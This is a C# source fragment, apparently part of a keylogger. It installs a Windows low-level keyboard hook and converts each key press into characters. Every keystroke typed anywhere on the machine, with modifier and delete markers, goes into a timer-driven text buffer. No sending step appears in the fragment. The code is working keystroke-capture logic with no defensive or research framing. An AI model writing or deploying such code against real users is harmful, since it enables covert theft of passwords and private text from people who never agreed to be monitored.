private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, HOOKPROC wParam, [In] TagKBDLLHOOKSTRUCT lParam);
private static IntPtr KbLLHookCallback(int nCode, HOOKPROC wParam, TagKBDLLHOOKSTRUCT lParam)
{
KeyboardEventArgs EvtArgs = new KeyboardEventArgs();
EvtArgs.LowLevelKbInfo.dwExtraInfo = lParam.dwExtraInfo;
EvtArgs.LowLevelKbInfo.flags = lParam.flags;
EvtArgs.LowLevelKbInfo.scanCode = lParam.scanCode;
EvtArgs.LowLevelKbInfo.time = lParam.time;
EvtArgs.LowLevelKbInfo.vkCode = lParam.vkCode;
if (nCode >= 0 && (wParam == HOOKPROC.WM_KEYDOWN || wParam == HOOKPROC.WM_SYSKEYDOWN) && lParam.flags == KBDLLHOOKSTRUCTFlags.LLKHF_EXTENDED)
{
if (lParam.vkCode.Equals(VK_KEY_CODE.VK_SHIFT) || lParam.vkCode.Equals(VK_KEY_CODE.VK_LSHIFT) || lParam.vkCode.Equals(VK_KEY_CODE.VK_RSHIFT))
{
SHIFT_KEY_DOWN = true;
}
}
if (nCode >= 0 && (wParam == HOOKPROC.WM_KEYDOWN || wParam == HOOKPROC.WM_SYSKEYDOWN))
{
CAPS_LOCK_ON = GetKeyState(0x14) != 0 || System.Windows.Forms.Control.IsKeyLocked(System.Windows.Forms.Keys.CapsLock);
NumLock = GetKeyState(0x90) != 0;
ScrollLock = GetKeyState(0x91) != 0;
VK_CHAR = '\u0000';
OnKeyDownEvent?.Invoke(nCode, EvtArgs);
switch (lParam.vkCode)
{
case VK_KEY_CODE.VK_LWIN:
WIN_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_RWIN:
WIN_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_CAPITAL:
break;
case VK_KEY_CODE.VK_MENU:
ALT_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_LMENU:
ALT_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_RMENU:
ALTGR_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_SHIFT:
SHIFT_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_RSHIFT:
SHIFT_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_LSHIFT:
SHIFT_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_CONTROL:
CTRL_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_LCONTROL:
CTRL_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_RCONTROL:
CTRL_KEY_DOWN = true;
break;
case VK_KEY_CODE.VK_SPACE:
strBuilder.Append(" ");
break;
case VK_KEY_CODE.VK_RETURN:
strBuilder.AppendLine();
break;
case VK_KEY_CODE.VK_BACK:
break;
case VK_KEY_CODE.VK_0:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u003D' : '\u0030';
VK_CHAR = '\u0030';
break;
case VK_KEY_CODE.VK_1:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u0021' : '\u0031';
VK_CHAR = '\u0031';
break;
case VK_KEY_CODE.VK_2:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u0022' : '\u0032';
VK_CHAR = '\u0032';
break;
case VK_KEY_CODE.VK_3:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u0023' : '\u0033';
VK_CHAR = '\u0033';
break;
case VK_KEY_CODE.VK_4:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u0024' : '\u0034';
VK_CHAR = '\u0034';
break;
case VK_KEY_CODE.VK_5:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u0025' : '\u0035';
VK_CHAR = '\u0035';
break;
case VK_KEY_CODE.VK_6:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u0026' : '\u0036';
VK_CHAR = '\u0036';
break;
case VK_KEY_CODE.VK_7:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u002F' : '\u0037';
VK_CHAR = '\u0037';
break;
case VK_KEY_CODE.VK_8:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u0028' : '\u0038';
VK_CHAR = '\u0038';
break;
case VK_KEY_CODE.VK_9:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u0029' : '\u0039';
VK_CHAR = '\u0039';
break;
case VK_KEY_CODE.VK_A:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0041' : '\u0061';
break;
case VK_KEY_CODE.VK_B:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0042' : '\u0062';
break;
case VK_KEY_CODE.VK_C:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0043' : '\u0063';
break;
case VK_KEY_CODE.VK_D:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0044' : '\u0064';
break;
case VK_KEY_CODE.VK_E:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0045' : '\u0065';
break;
case VK_KEY_CODE.VK_F:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0046' : '\u0066';
break;
case VK_KEY_CODE.VK_G:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0047' : '\u0067';
break;
case VK_KEY_CODE.VK_H:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0048' : '\u0068';
break;
case VK_KEY_CODE.VK_I:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0049' : '\u0069';
break;
case VK_KEY_CODE.VK_J:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004A' : '\u006A';
break;
case VK_KEY_CODE.VK_K:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004B' : '\u006B';
break;
case VK_KEY_CODE.VK_L:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004C' : '\u006C';
break;
case VK_KEY_CODE.VK_M:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004D' : '\u006D';
break;
case VK_KEY_CODE.VK_N:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004E' : '\u006E';
break;
case VK_KEY_CODE.VK_O:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u004F' : '\u006F';
break;
case VK_KEY_CODE.VK_P:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0050' : '\u0070';
break;
case VK_KEY_CODE.VK_Q:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0051' : '\u0071';
break;
case VK_KEY_CODE.VK_R:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0052' : '\u0072';
break;
case VK_KEY_CODE.VK_S:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0053' : '\u0073';
break;
case VK_KEY_CODE.VK_T:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0054' : '\u0074';
break;
case VK_KEY_CODE.VK_U:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0055' : '\u0075';
break;
case VK_KEY_CODE.VK_V:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0056' : '\u0076';
break;
case VK_KEY_CODE.VK_W:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0057' : '\u0077';
break;
case VK_KEY_CODE.VK_X:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0058' : '\u0078';
break;
case VK_KEY_CODE.VK_Y:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u0059' : '\u0079';
break;
case VK_KEY_CODE.VK_Z:
VK_CHAR = (CAPS_LOCK_ON || SHIFT_KEY_DOWN) ? '\u005A' : '\u007A';
break;
case VK_KEY_CODE.VK_OEM_3:
if (KbLayoutName.ToLower().Equals("spanish") || KbLayoutName.ToLower().Equals("español") ||
KbLayoutName.ToLower().Equals("latin american") || KbLayoutName.ToLower().Equals("america latina"))
{
VK_CHAR = CAPS_LOCK_ON ? '\u00D1' : '\u00F1';
}
// char ñ or Ñ: For the US standard keyboard, the '`~' key
break;
case VK_KEY_CODE.VK_OEM_7:
// For the US standard keyboard, the 'single-quote/double-quote' key
break;
case VK_KEY_CODE.VK_OEM_2:
// For the US standard keyboard, the '/?' key
break;
case VK_KEY_CODE.VK_OEM_1:
break;
case VK_KEY_CODE.VK_OEM_4:
break;
case VK_KEY_CODE.VK_OEM_6:
break;
case VK_KEY_CODE.VK_OEM_5:
break;
case VK_KEY_CODE.VK_OEM_PERIOD:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u003A' : '\u002E';
break;
case VK_KEY_CODE.VK_OEM_COMMA:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u003B' : '\u002C';
break;
case VK_KEY_CODE.VK_OEM_MINUS:
//VK_CHAR = SHIFT_KEY_DOWN ? '\u005F' : '\u002D';
break;
case VK_KEY_CODE.VK_OEM_PLUS:
//if (SHIFT_KEY_DOWN) VK_CHAR = '\u002A';
//else VK_CHAR = '\u002B';
//if (ALTGR_KEY_DOWN) VK_CHAR = '\u007E';
break;
default:
break;
}
if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && ALTGR_KEY_DOWN && (lParam.vkCode >= VK_KEY_CODE.VK_0) && (lParam.vkCode <= VK_KEY_CODE.VK_9))
{
timer.Stop();
strBuilder.Append("{ALTGR:" + Convert.ToString(VK_CHAR).ToLower() + "}");
timer.Start();
}
else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && SHIFT_KEY_DOWN && (lParam.vkCode >= VK_KEY_CODE.VK_0) && (lParam.vkCode <= VK_KEY_CODE.VK_9))
{
timer.Stop();
strBuilder.Append("{SHIFT:" + Convert.ToString(VK_CHAR).ToLower() + "}");
timer.Start();
}
else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && ALTGR_KEY_DOWN && ((int)lParam.vkCode >= 41) && ((int)lParam.vkCode <= 80))
{
timer.Stop();
strBuilder.Append("{ALTGR:" + Convert.ToString(VK_CHAR) + "}");
timer.Start();
}
else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && SHIFT_KEY_DOWN && ((int)lParam.vkCode >= 41) && ((int)lParam.vkCode <= 80))
{
timer.Stop();
if (CAPS_LOCK_ON)
{
strBuilder.Append("{SHIFT:" + Convert.ToString(VK_CHAR).ToLower() + "}");
}
else
{
strBuilder.Append("{SHIFT:" + Convert.ToString(VK_CHAR) + "}");
}
timer.Start();
}
else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000' && (!CAPS_LOCK_ON && SHIFT_KEY_DOWN || CAPS_LOCK_ON && !SHIFT_KEY_DOWN))
{
timer.Stop();
timer.AutoReset = true;
//Trace(char.ConvertFromUtf32(VK_CHAR));
Trace(Convert.ToString(VK_CHAR).ToUpper());
strBuilder.Append(Convert.ToString(VK_CHAR).ToUpper());
timer.Start();
}
else if (!WIN_KEY_DOWN && VK_CHAR != '\u0000')
{
timer.Stop();
//Trace(char.ConvertFromUtf32(VK_CHAR));
Trace(Convert.ToString(VK_CHAR).ToLower());
strBuilder.Append(Convert.ToString(VK_CHAR).ToLower());
timer.Start();
}
}
if (nCode >= 0 && (wParam == HOOKPROC.WM_KEYUP || wParam == HOOKPROC.WM_SYSKEYUP))
{
OnKeyUpEvent?.Invoke(nCode, EvtArgs);
switch (lParam.vkCode)
{
case VK_KEY_CODE.VK_LWIN:
WIN_KEY_DOWN = false;
break;
case VK_KEY_CODE.VK_RWIN:
WIN_KEY_DOWN = false;
break;
case VK_KEY_CODE.VK_LSHIFT:
SHIFT_KEY_DOWN = false;
break;
case VK_KEY_CODE.VK_RSHIFT:
SHIFT_KEY_DOWN = false;
break;
case VK_KEY_CODE.VK_RMENU:
ALTGR_KEY_DOWN = false;
break;
case VK_KEY_CODE.VK_BACK:
strBuilder.Append("{DEL}");
break;
}
}
return(CallNextHookEx(_LowLevelKbHookID, nCode, wParam, lParam));
}
